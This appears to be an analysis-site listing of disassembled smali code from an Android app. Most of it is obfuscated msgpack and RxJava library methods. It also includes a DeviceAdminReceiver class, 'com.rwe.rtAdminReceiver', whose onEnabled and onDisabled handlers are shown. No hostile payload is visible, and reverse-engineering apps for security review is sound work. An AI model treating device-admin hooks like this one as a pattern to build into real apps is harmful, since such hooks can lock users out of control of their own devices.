19invoke-interface {p0}, Ljava/util/List;->size()I
20move-result v0
21new-array v0, v0, [Lorg/msgpack/a/x;
23invoke-interface {p0, v0}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
24move-result-object v0
25check-cast v0, [Lorg/msgpack/a/x;
26new-instance v1, Lorg/msgpack/a/a/c;
28invoke-direct {v1, v0}, Lorg/msgpack/a/a/c;-><init>([Lorg/msgpack/a/x;)V
29move-object v0, v1
30goto/16 :goto_a
Cross References
APIs
  • java.lang.StringBuilder.append
  • java.lang.Object.toString
  • java.lang.StringBuilder.append
Position Instruction Meta Information
1invoke-interface {p1}, Lorg/msgpack/a/x;->m()Z
2move-result v0
3if-eqz v0, :cond_e
5invoke-interface {p1}, Lorg/msgpack/a/x;->A()Ljava/lang/String;
6move-result-object v0
8invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
9goto_d: return-void
10cond_e:
11invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
12move-result-object v0
14invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15goto/16 :goto_d
Cross References
APIs
  • java.lang.StringBuilder.append
  • java.lang.Object.toString
  • java.lang.StringBuilder.append
Position Instruction Meta Information
1invoke-interface {p1}, Lorg/msgpack/a/x;->m()Z
2move-result v0
3if-eqz v0, :cond_e
5invoke-interface {p1}, Lorg/msgpack/a/x;->A()Ljava/lang/String;
6move-result-object v0
8invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
9goto_d: return-void
10cond_e:
11invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
12move-result-object v0
14invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15goto/16 :goto_d
Cross References
APIs
  • java.lang.NullPointerException.<init>
Strings
  • Scheduler Callable returned null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/d/e",
4"<",
5"Ljava/util/concurrent/Callable",
6"<",
7"Lc/a/q;",
8">;",
9"Lc/a/q;",
10">;",
11"Ljava/util/concurrent/Callable",
12"<",
13"Lc/a/q;",
14">;)",
15"Lc/a/q;"
16}
17.end annotation
19invoke-static {p0, p1}, Lc/a/a/a/a;->a(Lc/a/d/e;Ljava/lang/Object;)Ljava/lang/Object;
20move-result-object v0
21check-cast v0, Lc/a/q;
22if-nez v0, :cond_10
23new-instance v0, Ljava/lang/NullPointerException;
25const-string v1, "Scheduler Callable returned null"
27invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
28throw v0
29cond_10: return-object v0
Cross References
APIs
  • java.util.List.remove
Strings
  • Disposable item is null
Position Instruction Meta Information
0const/4 v0, 0x0
2const-string v1, "Disposable item is null"
4invoke-static {p1, v1}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
5iget-boolean v1, p0, Lc/a/e/a/d;->b:Z
6if-eqz v1, :cond_b
7goto_a: return v0
8cond_b: monitor-enter p0
9try_start_c: iget-boolean v1, p0, Lc/a/e/a/d;->b:Z
10if-eqz v1, :cond_15
11monitor-exit p0
12goto/16 :goto_a
13catchall_12: move-exception v0
14monitor-exit p0
15try_end_14: throw v0
16cond_15:
17iget-object v1, p0, Lc/a/e/a/d;->a:Ljava/util/List;
18if-eqz v1, :cond_1f
20invoke-interface {v1, p1}, Ljava/util/List;->remove(Ljava/lang/Object;)Z
21move-result v1
22if-nez v1, :cond_21
23cond_1f: monitor-exit p0
24goto/16 :goto_a
25cond_21: monitor-exit p0
26try_end_22: const/4 v0, 0x1
27goto/16 :goto_a
Cross References
APIs
  • java.lang.NullPointerException.<init>
Strings
  • scheduler == null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/concurrent/Callable",
4"<",
5"Lc/a/q;",
6">;)",
7"Lc/a/q;"
8}
9.end annotation
10if-nez p0, :cond_a
11new-instance v0, Ljava/lang/NullPointerException;
13const-string v1, "scheduler == null"
15invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
16throw v0
17cond_a:
18sget-object v0, Lc/a/a/a/a;->a:Lc/a/d/e;
19if-nez v0, :cond_13
21invoke-static {p0}, Lc/a/a/a/a;->b(Ljava/util/concurrent/Callable;)Lc/a/q;
22move-result-object v0
23goto_12: return-object v0
24cond_13:
25invoke-static {v0, p0}, Lc/a/a/a/a;->a(Lc/a/d/e;Ljava/util/concurrent/Callable;)Lc/a/q;
26move-result-object v0
27goto/16 :goto_12
Cross References
APIs
  • java.lang.NullPointerException.<init>
Strings
  • scheduler == null
Position Instruction Meta Information
0if-nez p0, :cond_a
1new-instance v0, Ljava/lang/NullPointerException;
3const-string v1, "scheduler == null"
5invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
6throw v0
7cond_a:
8sget-object v0, Lc/a/a/a/a;->b:Lc/a/d/e;
9if-nez v0, :cond_f
10goto_e: return-object p0
11cond_f:
12invoke-static {v0, p0}, Lc/a/a/a/a;->a(Lc/a/d/e;Ljava/lang/Object;)Ljava/lang/Object;
13move-result-object v0
14check-cast v0, Lc/a/q;
15move-object p0, v0
16goto/16 :goto_e
APIs
  • c.a.e.a.b.<init>
Strings
  • DISPOSED
Position Instruction Meta Information
0const/4 v2, 0x0
1new-instance v0, Lc/a/e/a/b;
3const-string v1, "DISPOSED"
5invoke-direct {v0, v1, v2}, Lc/a/e/a/b;-><init>(Ljava/lang/String;I)V
6sput-object v0, Lc/a/e/a/b;->a:Lc/a/e/a/b;
7const/4 v0, 0x1
8new-array v0, v0, [Lc/a/e/a/b;
10sget-object v1, Lc/a/e/a/b;->a:Lc/a/e/a/b;
11aput-object v1, v0, v2
12sput-object v0, Lc/a/e/a/b;->b:[Lc/a/e/a/b;
13return-void
Cross References
APIs
  • java.lang.IllegalStateException.<init>
Strings
  • Disposable already set!
Position Instruction Meta Information
0new-instance v0, Ljava/lang/IllegalStateException;
2const-string v1, "Disposable already set!"
4invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
6invoke-static {v0}, Lc/a/f/a;->a(Ljava/lang/Throwable;)V
7return-void
APIs
  • java.lang.String.toCharArray
Strings
  • 0123456789ABCDEF
Position Instruction Meta Information
1const-string v0, "0123456789ABCDEF"
3invoke-virtual {v0}, Ljava/lang/String;->toCharArray()[C
4move-result-object v0
5sput-object v0, Lorg/msgpack/a/a/a;->d:[C
6return-void
APIs
  • java.lang.UnsupportedOperationException.<init>
Strings
  • Should not be called!
Position Instruction Meta Information
0new-instance v0, Ljava/lang/UnsupportedOperationException;
2const-string v1, "Should not be called!"
4invoke-direct {v0, v1}, Ljava/lang/UnsupportedOperationException;-><init>(Ljava/lang/String;)V
5throw v0
Cross References
APIs
  • java.util.NoSuchElementException.<init>
  • java.util.AbstractMap$SimpleImmutableEntry.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/Map$Entry",
4"<",
5"Lorg/msgpack/a/x;",
6"Lorg/msgpack/a/x;",
7">;"
8}
9.end annotation
10iget v0, p0, Lorg/msgpack/a/a/j$b;->b:I
12iget-object v1, p0, Lorg/msgpack/a/a/j$b;->a:[Lorg/msgpack/a/x;
13array-length v1, v1
14if-lt v0, v1, :cond_d
15new-instance v0, Ljava/util/NoSuchElementException;
17invoke-direct {v0}, Ljava/util/NoSuchElementException;-><init>()V
18throw v0
19cond_d:
20iget-object v0, p0, Lorg/msgpack/a/a/j$b;->a:[Lorg/msgpack/a/x;
21iget v1, p0, Lorg/msgpack/a/a/j$b;->b:I
22aget-object v0, v0, v1
24iget-object v1, p0, Lorg/msgpack/a/a/j$b;->a:[Lorg/msgpack/a/x;
25iget v2, p0, Lorg/msgpack/a/a/j$b;->b:I
26add-int/lit8 v2, v2, 0x1
27aget-object v1, v1, v2
28new-instance v2, Ljava/util/AbstractMap$SimpleImmutableEntry;
30invoke-direct {v2, v0, v1}, Ljava/util/AbstractMap$SimpleImmutableEntry;-><init>(Ljava/lang/Object;Ljava/lang/Object;)V
31iget v0, p0, Lorg/msgpack/a/a/j$b;->b:I
32add-int/lit8 v0, v0, 0x2
33iput v0, p0, Lorg/msgpack/a/a/j$b;->b:I
34return-object v2
APIs
  • java.util.Arrays.equals
Position Instruction Meta Information
0const/4 v0, 0x0
1if-ne p0, p1, :cond_5
2const/4 v0, 0x1
3cond_4: return v0
4cond_5: instance-of v1, p1, Lorg/msgpack/a/x;
5if-eqz v1, :cond_4
6check-cast p1, Lorg/msgpack/a/x;
8invoke-interface {p1}, Lorg/msgpack/a/x;->n()Z
9move-result v1
10if-eqz v1, :cond_4
11instance-of v0, p1, Lorg/msgpack/a/a/e;
12if-eqz v0, :cond_20
13check-cast p1, Lorg/msgpack/a/a/e;
15iget-object v0, p0, Lorg/msgpack/a/a/e;->a:[B
17iget-object v1, p1, Lorg/msgpack/a/a/e;->a:[B
19invoke-static {v0, v1}, Ljava/util/Arrays;->equals([B[B)Z
20move-result v0
21goto/16 :goto_4
22cond_20:
23iget-object v0, p0, Lorg/msgpack/a/a/e;->a:[B
25invoke-interface {p1}, Lorg/msgpack/a/x;->v()Lorg/msgpack/a/b;
26move-result-object v1
28invoke-interface {v1}, Lorg/msgpack/a/b;->a()[B
29move-result-object v1
31invoke-static {v0, v1}, Ljava/util/Arrays;->equals([B[B)Z
32move-result v0
33goto/16 :goto_4
Cross References
APIs
  • java.util.concurrent.atomic.AtomicReference.get
  • java.util.concurrent.atomic.AtomicReference.compareAndSet
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/concurrent/atomic/AtomicReference",
4"<",
5"Lc/a/b/b;",
6">;",
7"Lc/a/b/b;",
8")Z"
9}
10.end annotation
11cond_0:
12invoke-virtual {p0}, Ljava/util/concurrent/atomic/AtomicReference;->get()Ljava/lang/Object;
13move-result-object v0
14check-cast v0, Lc/a/b/b;
16sget-object v1, Lc/a/e/a/b;->a:Lc/a/e/a/b;
17if-ne v0, v1, :cond_11
18if-eqz p1, :cond_f
20invoke-interface {p1}, Lc/a/b/b;->a()V
21cond_f: const/4 v0, 0x0
22goto_10: return v0
23cond_11:
24invoke-virtual {p0, v0, p1}, Ljava/util/concurrent/atomic/AtomicReference;->compareAndSet(Ljava/lang/Object;Ljava/lang/Object;)Z
25move-result v0
26if-eqz v0, :cond_0
27const/4 v0, 0x1
28goto/16 :goto_10
APIs
  • c.a.e.e.a.a$a.get
  • c.a.e.e.a.a$a.getAndSet
Position Instruction Meta Information
1invoke-virtual {p0}, Lc/a/e/e/a/a$a;->get()Ljava/lang/Object;
2move-result-object v0
4sget-object v1, Lc/a/e/a/b;->a:Lc/a/e/a/b;
5if-eq v0, v1, :cond_1e
7sget-object v0, Lc/a/e/a/b;->a:Lc/a/e/a/b;
9invoke-virtual {p0, v0}, Lc/a/e/e/a/a$a;->getAndSet(Ljava/lang/Object;)Ljava/lang/Object;
10move-result-object v0
11check-cast v0, Lc/a/b/b;
13sget-object v1, Lc/a/e/a/b;->a:Lc/a/e/a/b;
14if-eq v0, v1, :cond_1e
15try_start_14:
16iget-object v1, p0, Lc/a/e/e/a/a$a;->a:Lc/a/c;
18invoke-interface {v1}, Lc/a/c;->a_()V
19try_end_19: if-eqz v0, :cond_1e
21invoke-interface {v0}, Lc/a/b/b;->a()V
22cond_1e: return-void
23catchall_1f: move-exception v1
24if-eqz v0, :cond_25
26invoke-interface {v0}, Lc/a/b/b;->a()V
27cond_25: throw v1
Cross References
APIs
  • java.util.concurrent.atomic.AtomicReference.get
  • java.util.concurrent.atomic.AtomicReference.getAndSet
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/concurrent/atomic/AtomicReference",
4"<",
5"Lc/a/b/b;",
6">;)Z"
7}
8.end annotation
10invoke-virtual {p0}, Ljava/util/concurrent/atomic/AtomicReference;->get()Ljava/lang/Object;
11move-result-object v0
12check-cast v0, Lc/a/b/b;
14sget-object v1, Lc/a/e/a/b;->a:Lc/a/e/a/b;
15if-eq v0, v1, :cond_19
17invoke-virtual {p0, v1}, Ljava/util/concurrent/atomic/AtomicReference;->getAndSet(Ljava/lang/Object;)Ljava/lang/Object;
18move-result-object v0
19check-cast v0, Lc/a/b/b;
20if-eq v0, v1, :cond_19
21if-eqz v0, :cond_17
23invoke-interface {v0}, Lc/a/b/b;->a()V
24cond_17: const/4 v0, 0x1
25goto_18: return v0
26cond_19: const/4 v0, 0x0
27goto/16 :goto_18
Cross References
Strings
  • scheduler is null
  • bufferSize
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/q;",
4"ZI)",
5"Lc/a/l",
6"<TT;>;"
7}
8.end annotation
10const-string v0, "scheduler is null"
12invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
14const-string v0, "bufferSize"
16invoke-static {p3, v0}, Lc/a/e/b/b;->a(ILjava/lang/String;)I
17new-instance v0, Lc/a/e/e/c/c;
19invoke-direct {v0, p0, p1, p2, p3}, Lc/a/e/e/c/c;-><init>(Lc/a/o;Lc/a/q;ZI)V
21invoke-static {v0}, Lc/a/f/a;->a(Lc/a/l;)Lc/a/l;
22move-result-object v0
23return-object v0
APIs
  • java.lang.Object.hashCode
Position Instruction Meta Information
0const/4 v0, 0x0
1move v1, v0
2goto_2:
3iget-object v2, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
4array-length v2, v2
5if-ge v0, v2, :cond_1e
7iget-object v2, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
8aget-object v2, v2, v0
10invoke-virtual {v2}, Ljava/lang/Object;->hashCode()I
11move-result v2
13iget-object v3, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
14add-int/lit8 v4, v0, 0x1
15aget-object v3, v3, v4
17invoke-virtual {v3}, Ljava/lang/Object;->hashCode()I
18move-result v3
19xor-int/2addr v2, v3
20add-int/2addr v1, v2
21add-int/lit8 v0, v0, 0x2
22goto/16 :goto_2
23cond_1e: return v1
Cross References
APIs
  • java.math.BigInteger.compareTo
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
3sget-object v1, Lorg/msgpack/a/a/d;->f:Ljava/math/BigInteger;
5invoke-virtual {v0, v1}, Ljava/math/BigInteger;->compareTo(Ljava/math/BigInteger;)I
6move-result v0
7if-ltz v0, :cond_16
9iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
11sget-object v1, Lorg/msgpack/a/a/d;->g:Ljava/math/BigInteger;
13invoke-virtual {v0, v1}, Ljava/math/BigInteger;->compareTo(Ljava/math/BigInteger;)I
14move-result v0
15if-gtz v0, :cond_16
16const/4 v0, 0x1
17goto_15: return v0
18cond_16: const/4 v0, 0x0
19goto/16 :goto_15
Cross References
APIs
  • java.math.BigInteger.compareTo
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
3sget-object v1, Lorg/msgpack/a/a/d;->h:Ljava/math/BigInteger;
5invoke-virtual {v0, v1}, Ljava/math/BigInteger;->compareTo(Ljava/math/BigInteger;)I
6move-result v0
7if-ltz v0, :cond_16
9iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
11sget-object v1, Lorg/msgpack/a/a/d;->i:Ljava/math/BigInteger;
13invoke-virtual {v0, v1}, Ljava/math/BigInteger;->compareTo(Ljava/math/BigInteger;)I
14move-result v0
15if-gtz v0, :cond_16
16const/4 v0, 0x1
17goto_15: return v0
18cond_16: const/4 v0, 0x0
19goto/16 :goto_15
APIs
  • c.a.e.e.a.c$a.<init>
  • c.a.e.a.e.a
Position Instruction Meta Information
0new-instance v0, Lc/a/e/e/a/c$a;
2iget-object v1, p0, Lc/a/e/e/a/c;->a:Lc/a/e;
4invoke-direct {v0, p1, v1}, Lc/a/e/e/a/c$a;-><init>(Lc/a/c;Lc/a/e;)V
6invoke-interface {p1, v0}, Lc/a/c;->a(Lc/a/b/b;)V
8iget-object v1, p0, Lc/a/e/e/a/c;->b:Lc/a/q;
10invoke-virtual {v1, v0}, Lc/a/q;->a(Ljava/lang/Runnable;)Lc/a/b/b;
11move-result-object v1
13iget-object v0, v0, Lc/a/e/e/a/c$a;->b:Lc/a/e/a/e;
15invoke-virtual {v0, v1}, Lc/a/e/a/e;->a(Lc/a/b/b;)Z
16return-void
APIs
  • c.a.e.e.a.a$a.<init>
  • c.a.e.e.a.a$a.a
Position Instruction Meta Information
0new-instance v1, Lc/a/e/e/a/a$a;
2invoke-direct {v1, p1}, Lc/a/e/e/a/a$a;-><init>(Lc/a/c;)V
4invoke-interface {p1, v1}, Lc/a/c;->a(Lc/a/b/b;)V
5try_start_8:
6iget-object v0, p0, Lc/a/e/e/a/a;->a:Lc/a/d;
8invoke-interface {v0, v1}, Lc/a/d;->a(Lc/a/b;)V
9goto_d: return-void
10catch_e: move-exception v0
12invoke-static {v0}, Lc/a/c/b;->b(Ljava/lang/Throwable;)V
14invoke-virtual {v1, v0}, Lc/a/e/e/a/a$a;->a(Ljava/lang/Throwable;)V
15goto/16 :goto_d
APIs
  • org.msgpack.core.e.<init>
  • java.math.BigInteger.intValue
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/d;->a()Z
2move-result v0
3if-nez v0, :cond_e
4new-instance v0, Lorg/msgpack/core/e;
6iget-object v1, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
8invoke-direct {v0, v1}, Lorg/msgpack/core/e;-><init>(Ljava/math/BigInteger;)V
9throw v0
10cond_e:
11iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
13invoke-virtual {v0}, Ljava/math/BigInteger;->intValue()I
14move-result v0
15return v0
APIs
  • org.msgpack.core.e.<init>
  • java.math.BigInteger.longValue
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/d;->b()Z
2move-result v0
3if-nez v0, :cond_e
4new-instance v0, Lorg/msgpack/core/e;
6iget-object v1, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
8invoke-direct {v0, v1}, Lorg/msgpack/core/e;-><init>(Ljava/math/BigInteger;)V
9throw v0
10cond_e:
11iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
13invoke-virtual {v0}, Ljava/math/BigInteger;->longValue()J
14move-result-wide v0
15return-wide v0
Cross References
APIs
  • java.lang.StringBuilder.append
  • java.lang.Object.toString
Position Instruction Meta Information
1invoke-interface {p1}, Lorg/msgpack/a/x;->m()Z
2move-result v0
3if-eqz v0, :cond_e
5invoke-interface {p1}, Lorg/msgpack/a/x;->A()Ljava/lang/String;
6move-result-object v0
8invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
9goto_d: return-void
10cond_e:
11invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
12move-result-object v0
14invoke-static {p0, v0}, Lorg/msgpack/a/a/l;->a(Ljava/lang/StringBuilder;Ljava/lang/String;)V
15goto/16 :goto_d
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.toString
Position Instruction Meta Information
0new-instance v0, Ljava/lang/StringBuilder;
2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
4invoke-virtual {p0}, Lorg/msgpack/a/a/a;->toString()Ljava/lang/String;
5move-result-object v1
7invoke-static {v0, v1}, Lorg/msgpack/a/a/a;->a(Ljava/lang/StringBuilder;Ljava/lang/String;)V
9invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
10move-result-object v0
11return-object v0
APIs
  • android.app.admin.DeviceAdminReceiver.onEnabled
  • com.rwe.rtAdminReceiver.a
Position Instruction Meta Information
1invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
2const/4 v0, 0x1
4invoke-virtual {p0, p1, v0}, Lcom/rwe/rtAdminReceiver;->a(Landroid/content/Context;Z)V
5new-instance v0, Lcom/rwe/rtAdminReceiver$1;
7invoke-direct {v0, p0, p1}, Lcom/rwe/rtAdminReceiver$1;-><init>(Lcom/rwe/rtAdminReceiver;Landroid/content/Context;)V
9invoke-virtual {v0}, Lcom/rwe/rtAdminReceiver$1;->run()V
10return-void
APIs
  • java.lang.System.currentTimeMillis
  • java.util.concurrent.TimeUnit.convert
Position Instruction Meta Information
1invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
2move-result-wide v0
4sget-object v2, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
6invoke-virtual {p1, v0, v1, v2}, Ljava/util/concurrent/TimeUnit;->convert(JLjava/util/concurrent/TimeUnit;)J
7move-result-wide v0
8return-wide v0
Cross References
APIs
  • java.util.concurrent.atomic.AtomicReference.<init>
  • c.a.e.a.e.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/util/concurrent/atomic/AtomicReference;-><init>()V
2iput-object p1, p0, Lc/a/e/e/a/c$a;->a:Lc/a/c;
3iput-object p2, p0, Lc/a/e/e/a/c$a;->c:Lc/a/e;
4new-instance v0, Lc/a/e/a/e;
6invoke-direct {v0}, Lc/a/e/a/e;-><init>()V
7iput-object v0, p0, Lc/a/e/e/a/c$a;->b:Lc/a/e/a/e;
8return-void
Cross References
APIs
  • java.nio.ByteBuffer.wrap
  • java.nio.ByteBuffer.asReadOnlyBuffer
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/a;->a:[B
3invoke-static {v0}, Ljava/nio/ByteBuffer;->wrap([B)Ljava/nio/ByteBuffer;
4move-result-object v0
6invoke-virtual {v0}, Ljava/nio/ByteBuffer;->asReadOnlyBuffer()Ljava/nio/ByteBuffer;
7move-result-object v0
8return-object v0
APIs
  • c.a.e.e.a.a$a.get
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-virtual {p0}, Lc/a/e/e/a/a$a;->get()Ljava/lang/Object;
2move-result-object v0
3check-cast v0, Lc/a/b/b;
5invoke-static {v0}, Lc/a/e/a/b;->a(Lc/a/b/b;)Z
6move-result v0
7return v0
APIs
  • c.a.e.e.a.b$a.get
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-virtual {p0}, Lc/a/e/e/a/b$a;->get()Ljava/lang/Object;
2move-result-object v0
3check-cast v0, Lc/a/b/b;
5invoke-static {v0}, Lc/a/e/a/b;->a(Lc/a/b/b;)Z
6move-result v0
7return v0
APIs
  • c.a.e.e.a.c$a.get
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-virtual {p0}, Lc/a/e/e/a/c$a;->get()Ljava/lang/Object;
2move-result-object v0
3check-cast v0, Lc/a/b/b;
5invoke-static {v0}, Lc/a/e/a/b;->a(Lc/a/b/b;)Z
6move-result v0
7return v0
APIs
  • c.a.e.a.e.get
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-virtual {p0}, Lc/a/e/a/e;->get()Ljava/lang/Object;
2move-result-object v0
3check-cast v0, Lc/a/b/b;
5invoke-static {v0}, Lc/a/e/a/b;->a(Lc/a/b/b;)Z
6move-result v0
7return v0
APIs
  • java.math.BigDecimal.<init>
  • java.math.BigDecimal.toBigInteger
Position Instruction Meta Information
0new-instance v0, Ljava/math/BigDecimal;
1iget-wide v2, p0, Lorg/msgpack/a/a/g;->a:D
3invoke-direct {v0, v2, v3}, Ljava/math/BigDecimal;-><init>(D)V
5invoke-virtual {v0}, Ljava/math/BigDecimal;->toBigInteger()Ljava/math/BigInteger;
6move-result-object v0
7return-object v0
APIs
  • c.a.e.a.b.a
  • c.a.e.a.e.a
Position Instruction Meta Information
1invoke-static {p0}, Lc/a/e/a/b;->a(Ljava/util/concurrent/atomic/AtomicReference;)Z
3iget-object v0, p0, Lc/a/e/e/a/c$a;->b:Lc/a/e/a/e;
5invoke-virtual {v0}, Lc/a/e/a/e;->a()V
6return-void
APIs
  • android.app.admin.DeviceAdminReceiver.onDisabled
  • com.rwe.rtAdminReceiver.a
Position Instruction Meta Information
1invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
2const/4 v0, 0x0
4invoke-virtual {p0, p1, v0}, Lcom/rwe/rtAdminReceiver;->a(Landroid/content/Context;Z)V
5return-void
APIs
  • java.util.Arrays.equals
Position Instruction Meta Information
0const/4 v0, 0x1
1const/4 v1, 0x0
2if-ne p1, p0, :cond_5
3cond_4: return v0
4cond_5: instance-of v2, p1, Lorg/msgpack/a/x;
5if-nez v2, :cond_b
6move v0, v1
7goto/16 :goto_4
8cond_b: check-cast p1, Lorg/msgpack/a/x;
10invoke-interface {p1}, Lorg/msgpack/a/x;->r()Z
11move-result v2
12if-nez v2, :cond_15
13move v0, v1
14goto/16 :goto_4
15cond_15:
16invoke-interface {p1}, Lorg/msgpack/a/x;->z()Lorg/msgpack/a/d;
17move-result-object v2
18iget-byte v3, p0, Lorg/msgpack/a/a/h;->a:B
20invoke-interface {v2}, Lorg/msgpack/a/d;->a()B
21move-result v4
22if-ne v3, v4, :cond_2d
24iget-object v3, p0, Lorg/msgpack/a/a/h;->b:[B
26invoke-interface {v2}, Lorg/msgpack/a/d;->b()[B
27move-result-object v2
29invoke-static {v3, v2}, Ljava/util/Arrays;->equals([B[B)Z
30move-result v2
31if-nez v2, :cond_4
32cond_2d: move v0, v1
33goto/16 :goto_4
Cross References
Strings
  • errorSupplier is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(",
5"Ljava/util/concurrent/Callable",
6"<+",
7"Ljava/lang/Throwable;",
8">;)",
9"Lc/a/r",
10"<TT;>;"
11}
12.end annotation
14const-string v0, "errorSupplier is null"
16invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
17new-instance v0, Lc/a/e/e/d/b;
19invoke-direct {v0, p0}, Lc/a/e/e/d/b;-><init>(Ljava/util/concurrent/Callable;)V
21invoke-static {v0}, Lc/a/f/a;->a(Lc/a/r;)Lc/a/r;
22move-result-object v0
23return-object v0
APIs
  • java.util.Map.equals
Position Instruction Meta Information
0const/4 v0, 0x0
1if-ne p1, p0, :cond_5
2const/4 v0, 0x1
3cond_4: return v0
4cond_5: instance-of v1, p1, Lorg/msgpack/a/x;
5if-eqz v1, :cond_4
6check-cast p1, Lorg/msgpack/a/x;
8invoke-interface {p1}, Lorg/msgpack/a/x;->q()Z
9move-result v1
10if-eqz v1, :cond_4
12invoke-interface {p1}, Lorg/msgpack/a/x;->y()Lorg/msgpack/a/s;
13move-result-object v0
15invoke-virtual {p0}, Lorg/msgpack/a/a/j;->b()Ljava/util/Map;
16move-result-object v1
18invoke-interface {v0}, Lorg/msgpack/a/s;->b()Ljava/util/Map;
19move-result-object v0
21invoke-interface {v1, v0}, Ljava/util/Map;->equals(Ljava/lang/Object;)Z
22move-result v0
23goto/16 :goto_4
APIs
  • java.math.BigInteger.equals
Position Instruction Meta Information
0const/4 v0, 0x0
1if-ne p1, p0, :cond_5
2const/4 v0, 0x1
3cond_4: return v0
4cond_5: instance-of v1, p1, Lorg/msgpack/a/x;
5if-eqz v1, :cond_4
6check-cast p1, Lorg/msgpack/a/x;
8invoke-interface {p1}, Lorg/msgpack/a/x;->k()Z
9move-result v1
10if-eqz v1, :cond_4
12invoke-interface {p1}, Lorg/msgpack/a/x;->t()Lorg/msgpack/a/r;
13move-result-object v0
15iget-object v1, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
17invoke-interface {v0}, Lorg/msgpack/a/r;->g_()Ljava/math/BigInteger;
18move-result-object v0
20invoke-virtual {v1, v0}, Ljava/math/BigInteger;->equals(Ljava/lang/Object;)Z
21move-result v0
22goto/16 :goto_4
Cross References
Strings
  • run is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(",
5"Lc/a/d/a;",
6")",
7"Lc/a/h",
8"<TT;>;"
9}
10.end annotation
12const-string v0, "run is null"
14invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
15new-instance v0, Lc/a/e/e/b/d;
17invoke-direct {v0, p0}, Lc/a/e/e/b/d;-><init>(Lc/a/d/a;)V
19invoke-static {v0}, Lc/a/f/a;->a(Lc/a/h;)Lc/a/h;
20move-result-object v0
21return-object v0
Cross References
Strings
  • onSubscribe is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(",
5"Lc/a/k",
6"<TT;>;)",
7"Lc/a/h",
8"<TT;>;"
9}
10.end annotation
12const-string v0, "onSubscribe is null"
14invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
15new-instance v0, Lc/a/e/e/b/b;
17invoke-direct {v0, p0}, Lc/a/e/e/b/b;-><init>(Lc/a/k;)V
